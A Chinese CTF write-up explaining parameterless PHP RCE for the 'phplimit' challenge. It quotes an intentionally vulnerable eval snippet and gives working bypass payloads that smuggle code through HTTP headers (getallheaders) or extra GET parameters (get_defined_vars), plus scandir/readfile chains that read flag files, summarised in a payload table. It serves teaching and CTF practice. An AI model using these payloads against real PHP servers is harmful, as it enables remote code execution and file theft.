PHP无参RCE
CTF WriteUp:easy - phplimit (PHP无参RCE深入解析)
0x01 题目代码与分析
<?phpif(';'===preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])){eval($_GET['code']);}else{show_source(__FILE__);}?>核心正则分析:/[^\W]+\((?R)?\)/
这个正则是整道题的关键,我们拆解来看:
[^\W]+:匹配一个或多个“非非单词字符”,即匹配字母、数字、下划线(等同于\w+)。这里主要是匹配函数名。\(和\):匹配左右括号。(?R)?:核心中的核心!?R代表递归匹配整个正则表达式,?表示可选(0次或1次)。
正则的作用:
它只匹配纯字母加括号组成的无参函数调用,且允许函数嵌套。
例如:a(b(c()))会被匹配,替换为空后,剩余;,通过判断进入eval。
限制条件:
- 不能传入参数:括号里不能有字符串、数字、变量(如
a('1')或a($b)都会被正则拒绝)。 - 只能使用无参函数嵌套。
解题核心思路:
要想执行任意代码(如system('ls')),我们必须找到一个返回值可控的无参函数,将它作为内层函数的返回值传给外层函数。
0x02 解法一:利用 HTTP 请求头 (Apache / PHP >= 7.3)
1. 核心函数:getallheaders()
getallheaders()会获取当前请求的所有 HTTP 头信息,返回一个数组。由于 HTTP 头(如 User-Agent、Cookie 等)是我们可以完全控制的,这就变相突破了“不能传参”的限制。
2. Payload 构造
GET ?code=eval(next(getallheaders())); HTTP/1.1 Host: xxx User-Agent: phpinfo(); ...getallheaders():获取所有请求头数组。next():将数组内部指针向后移动一位,并返回当前元素的值。由于不同服务器对请求头的排序可能不同,通常next()可以跳过默认的Host字段,指向我们可以控制的User-Agent等字段。eval():执行next()返回的字符串(即我们设置的phpinfo();)。
⚠️ 关键知识点:Nginx 与 Apache 的环境差异(你提出的问题)
- 传统认知(PHP < 7.3):
getallheaders()是 Apache (mod_php) 的专属函数,在 Nginx (php-fpm) 下调用会报错Call to undefined function。因此老 WriteUp 说 Nginx 下不能用。 - 当前现状(PHP >= 7.3):从 PHP 7.3 开始,
getallheaders()被移植到了 FastCGI/FPM 模式中!所以现在在 Nginx + PHP 7.3+ 的环境下,getallheaders()是可以正常使用的。 - 结论:如果你的 Nginx 靶机 PHP 版本 >= 7.3,用这个方法完全没问题;如果版本低,就会报错。
0x03 解法二:利用全局变量 (全环境通用,无视版本)
如果getallheaders()被禁用或者 PHP 版本低于 7.3 导致 Nginx 下不可用,我们就需要找其他返回值可控的函数。最经典的就是get_defined_vars()。
1. 核心函数:get_defined_vars()
该函数返回由所有已定义变量组成的数组,包括$_GET,$_POST,$_COOKIE,$_SERVER等。由于我们可以控制 GET 传参,这就相当于我们有了一个可控的数据源。
2. 数组结构分析
当我们发送?code=eval(...);&b=phpinfo();时,get_defined_vars()的返回值大致如下:
Array([0]=>Array// 这是 $_GET 数组([code]=>eval(...);[b]=>phpinfo();)[1]=>Array// 这是 $_POST 数组...)我们的目标是取到最内层的phpinfo();这个字符串。
3. Payload 构造
GET ?code=eval(next(current(get_defined_vars())));&b=phpinfo(); HTTP/1.1get_defined_vars():获取所有变量大数组。current():获取当前指针元素,默认指向第一个元素,即$_GET数组。
(注:PHP 7.3 前用current,PHP 8.1 后current对内部指针行为有变化,部分环境可能需要用reset或array_pop等)next():将$_GET数组的指针从code移动到b,并返回b的值,即字符串phpinfo();。eval():执行该字符串。
0x04 解法三:纯目录遍历读取 (无需注入代码)
有时候eval被禁用,或者我们不需要执行系统命令,只需要读取 Flag 文件,可以使用纯文件操作函数的嵌套。
1. 核心思路
利用scandir()列目录,配合数组操作函数找到 flag 文件,最后用readfile()或file_get_contents()读取。
2. Payload:读取当前目录倒数第二个文件
通常目录结构为['.', '..', 'flag.php', 'index.php']。倒数第二个往往是 flag。
?code=readfile(next(array_reverse(scandir(getcwd()))));getcwd():获取当前工作目录路径。scandir():列出目录中的文件和目录。array_reverse():将数组反转,原来的倒数第二变成正数第二。next():跳过第一个(原最后一个index.php),指向第二个(原倒数第二flag.php)。readfile():读取并输出文件内容。
3. Payload:读取上级目录的 flag
如果 flag 在上一级目录,需要结合chdir()改变当前目录,因为scandir()接受目录路径参数。
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));- 这里的巧妙之处在于
chdir()成功返回1(true),失败返回false,但它确实改变了工作目录。嵌套在dirname()中,dirname(1)会返回当前目录.或配合改变后的路径继续向上。
0x05 总结与提炼
这道题是 PHP 无参 RCE 的母题,掌握它就掌握了一大类题。请记住以下核心应对策略:
| 场景 | 可用 Payload | 备注 |
|---|---|---|
| 有请求头控制权限 | eval(end(getallheaders()));(修改最后请求头)eval(next(getallheaders()));(修改User-Agent等) | Apache全版本可用;Nginx需 PHP >= 7.3。 |
| 无请求头控制/老版本Nginx | eval(next(current(get_defined_vars())));&1=phpinfo();eval(end(get_defined_vars()));(用POST传参) | 最通用,无视服务器类型和PHP版本。 |
| 只需读文件,无注入点 | readfile(next(array_reverse(scandir(getcwd())))); | 利用数组指针操作函数(next,end,array_pop,array_rand)。 |
| 需要跳目录读文件 | readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); | array_flip交换键值配合array_rand随机读取也是常见绕过姿势。 |
划重点:做题时,优先尝试getallheaders(),因为构造简单;如果报错未定义函数,立刻切换思路使用get_defined_vars(),这是保底解法!
